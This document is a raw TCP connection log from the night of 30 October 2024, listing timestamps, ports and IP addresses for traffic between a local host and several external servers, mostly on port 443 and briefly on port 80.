Oct 30, 2024 23:11:25.659307957 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.659641027 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:25.659662008 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:25.700495958 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.715449095 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.715514898 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.715564013 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.715574980 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.716626883 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.716681957 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.716689110 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.720357895 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.720408916 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.720415115 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.729156017 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.729202032 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.729208946 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.778620958 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.778637886 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.825047970 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.835026026 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.835092068 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.835293055 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.835309982 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.835483074 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.835521936 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.835527897 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.846277952 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.846328974 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.846335888 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.848596096 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.848658085 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.848664999 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.888915062 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.891952991 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.891966105 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.894109964 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.894117117 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.894814968 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.894875050 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.894887924 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.911995888 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.915715933 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.915728092 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.916752100 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.916758060 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.916877985 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.917269945 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.917298079 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.917948008 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.917956114 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.924294949 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.924789906 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.924810886 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.925550938 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:25.925554991 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:25.935944080 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.955018044 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.955095053 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.955193996 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.955202103 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.955535889 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.955574036 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.955580950 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.959708929 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.959753990 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.959760904 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.968744993 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:25.968794107 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:25.968800068 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.013374090 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.013380051 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.014859915 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.014925957 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.014930964 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.020920992 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.020983934 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.021070957 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.021193027 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.021209955 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.021217108 CET	49757	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.021223068 CET	443	49757	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.024094105 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.024122953 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.024188995 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.024490118 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.024502993 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.043940067 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.044020891 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.044186115 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.044241905 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.044241905 CET	49759	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.044254065 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.044265032 CET	443	49759	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.046822071 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.046864986 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.046947956 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.047110081 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.047121048 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.057276011 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.057740927 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.057802916 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.057840109 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.057854891 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.057863951 CET	49760	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.057868958 CET	443	49760	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.060221910 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.060230017 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.060256004 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.060437918 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.060790062 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.060811996 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.074130058 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.074374914 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.074434042 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.074476957 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.074490070 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.074529886 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.078821898 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.087675095 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.087714911 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.087728977 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.087738991 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.087804079 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.093560934 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.134017944 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.134094000 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.134113073 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.185229063 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.185241938 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194067955 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194107056 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194118977 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.194128990 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194189072 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194228888 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.194236040 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.194278002 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.198823929 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.207268000 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.207304955 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.207329988 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.207336903 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.207380056 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.253616095 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.255908966 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.255987883 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.256038904 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.256392956 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.256413937 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.256422997 CET	49761	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.256431103 CET	443	49761	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.260529041 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.260559082 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.260696888 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.260881901 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.260898113 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.280972958 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.281395912 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.281436920 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.281925917 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.281934023 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.294704914 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.294718981 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.295156956 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.295233011 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.295239925 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.313446999 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.313496113 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.313503027 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.313654900 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.313695908 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.313700914 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.318262100 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.318417072 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.318423986 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.326853037 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.326896906 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.326904058 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.327516079 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.327949047 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.327958107 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.328334093 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.328425884 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.329057932 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.329113960 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.332159996 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.332304955 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.332632065 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.332639933 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.332725048 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.373437881 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.373487949 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.373496056 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.379340887 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.414729118 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.414778948 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.414788961 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.415539980 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.415929079 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.415982962 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.419349909 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.419368982 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.419378042 CET	49758	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.419384003 CET	443	49758	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.425255060 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.425276041 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.425647020 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.427330971 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.427339077 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.433114052 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.433156967 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.433203936 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.433211088 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.433249950 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.433597088 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.438122034 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.438158989 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.438162088 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.438169003 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.438210011 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.446409941 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.446599007 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.446659088 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.447968006 CET	49754	443	192.168.2.5	142.250.184.238
Oct 30, 2024 23:11:26.447979927 CET	443	49754	142.250.184.238	192.168.2.5
Oct 30, 2024 23:11:26.516567945 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.516635895 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.571217060 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.571244955 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.571655989 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.576349020 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.619519949 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.623332977 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.668994904 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.669014931 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.688793898 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.688864946 CET	443	49764	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:26.688925028 CET	49764	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:26.777122021 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.788250923 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.808617115 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.821974039 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.822051048 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.822124958 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.825279951 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.827732086 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.827742100 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.827883005 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.827893972 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.828490973 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.828511000 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.829580069 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.829585075 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.829747915 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.829754114 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.829781055 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.829786062 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.831803083 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.831803083 CET	49766	443	192.168.2.5	184.28.90.27
Oct 30, 2024 23:11:26.831823111 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.831836939 CET	443	49766	184.28.90.27	192.168.2.5
Oct 30, 2024 23:11:26.957381964 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.957545996 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.957551003 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.957612991 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.957680941 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.957706928 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.959244967 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.959321976 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.959398031 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.976520061 CET	49769	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.976538897 CET	443	49769	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.979695082 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.979724884 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.979871988 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.979975939 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.979999065 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.980019093 CET	49770	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.980024099 CET	443	49770	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.984054089 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.984065056 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:26.984076977 CET	49768	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:26.984081984 CET	443	49768	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.006102085 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.008312941 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.008327961 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.010894060 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.010912895 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.011620045 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.011626005 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.017672062 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.017699957 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.017772913 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.017929077 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.017941952 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.022031069 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.022044897 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.022118092 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.023561954 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.023572922 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.139444113 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.139590979 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.139996052 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.140127897 CET	49771	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.140136957 CET	443	49771	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.143943071 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.143968105 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.144021988 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.144207954 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.144223928 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.165365934 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.165816069 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.165832043 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.166270018 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.166275024 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.298660994 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.298823118 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.298877001 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.309256077 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.309272051 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.309281111 CET	49772	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.309286118 CET	443	49772	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.314213991 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.314248085 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.314402103 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.314670086 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.314683914 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.407897949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:27.408253908 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:27.413764954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:27.414077997 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:27.414151907 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:27.414280891 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:27.414298058 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:27.420257092 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:27.420272112 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:27.755491972 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.756053925 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.756062984 CET	443	49773	13.107.246.45	192.168.2.5
